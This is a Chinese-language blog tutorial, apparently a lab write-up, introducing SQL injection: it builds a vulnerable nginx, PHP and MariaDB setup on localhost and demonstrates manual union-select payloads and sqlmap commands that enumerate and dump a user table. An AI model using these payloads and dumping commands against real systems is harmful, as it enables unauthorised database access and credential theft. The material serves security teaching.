了解漏洞:

什么是sql注入漏洞:

攻击者可以通过该漏洞提交一段数据库查询代码,根据程序返回的结果,获得非法数据。

分析漏洞原理:

SQL注入产生的原因是什么:

程序员在编写代码的时候,没有对用户输入内容的合法性进行判断。

一个系统存在这个漏洞会导致什么后果?

数据库中的信息将会被黑客获取,如果数据库权限设置不当,还可能被攻击者获取写权限,写入一句话木马。

漏洞的复现和利用

环境搭建:

安装nginx:dnf install nginx

安装php-cgi:dnf install php-cgi

启动php-cgi:php-cgi -b 9000 &

Cd /etc/nginx/:备份nginx.conf

将sql_injection里面的ngixn.conf替换掉之前的nginx.conf,并修改nginx.conf:user改为root

sql注入初探

启动nginx服务:nginx(重启为nginx -s reload)

进入目录/usr/share/nginx/html:

解压task3.5 sql,将文件夹sql_injection复制到html文件中

修改sql_injection里面的1.php(mysql的root密码)和ngixn.conf(user name)

安装mariadb:dnf install mariadb

启动mariadb,新建数据库:create database sql_injection

将sql文件写入sql_injection:mysql -u root -p sql_injection < sql

修改mariadb的配置文件:vim /etc/my.cnf和vim /etc/my.cnf.d/mariadb-server.cnf

sql注入初探

 

sql注入初探

重启mariadb

Tail -f /var/log/mariadb/queries.log查看数据库日志

 

带有sql注入漏洞的环境:

sql注入初探

 

安装sqlmap:

使用wget安装,解压即可使用:

sql注入初探

sql注入初探

手工注入实现:

  1. 判断是否存在sql注入:
  1. 永真 and 1=1,页面正常:

sql注入初探

sql注入初探

sql注入初探

 

  1. 永假 and 1=2,页面无显示:

sql注入初探

sql注入初探sql注入初探

  1. 判断字段数:

依次order by 1,2,3,均正常显示:

sql注入初探

sql注入初探

sql注入初探

当输入4的时候出现空白页:

sql注入初探

sql注入初探

sql注入初探

说明字段数为3。

  1. 判断当前数据库权限:

union select user(),2,3(3为字段数):

sql注入初探sql注入初探

sql注入初探

当前数据库为root权限。

  1. 获得数据库库名:

union select database(),2,3(3为字段数):

sql注入初探

sql注入初探

sql注入初探

数据库名为sql_injection。

  1. 获取数据库表名:

union select table_name,2,3 from information_schema.tables where table_schema="sql_injection"

sql注入初探

sql注入初探

sql注入初探

表名为 user

  1. 获取数据库字段名:

union select column_name,2,3 from information_schema.columns where table_name="user" and table_schema = "sql_injection"

sql注入初探

sql注入初探

共三个字段,分别为id、username、password。

  1. 获取数据:

sql注入初探

sql注入初探

sqlmap注入:

  1. 获取数据库名:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" --dbs

sql注入初探

  1. 获取表名:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection --table

sql注入初探

  1. 获取字段名:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user --columns

sql注入初探

  1. 获取数据:

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump

sql注入初探

sqlmap Union注入:

联合查询注入,可以使用union的情况下的注入

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=U --flush-session

sql注入初探

sql注入初探

进行的操作是猜字段数:sql注入初探

sqlmap Boolean Based注入

基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=B --flush-session

sql注入初探

sql注入初探

正在进行的操作是判断注入点:sql注入初探

sqlmap Time Based注入:

基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断:
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=T --flush-session

sql注入初探

sql注入初探

进行的操作是让此语句运行5秒:

sql注入初探

相关文章:

  • 2021-06-28
  • 2021-12-14
  • 2022-12-23
  • 2021-11-22
  • 2021-09-11
  • 2021-11-22
  • 2021-10-13
  • 2022-12-23
猜你喜欢
  • 2021-06-05
  • 2021-11-14
  • 2021-11-27
  • 2021-09-06
  • 2021-11-27
  • 2021-06-09
  • 2021-09-09
相关资源
相似解决方案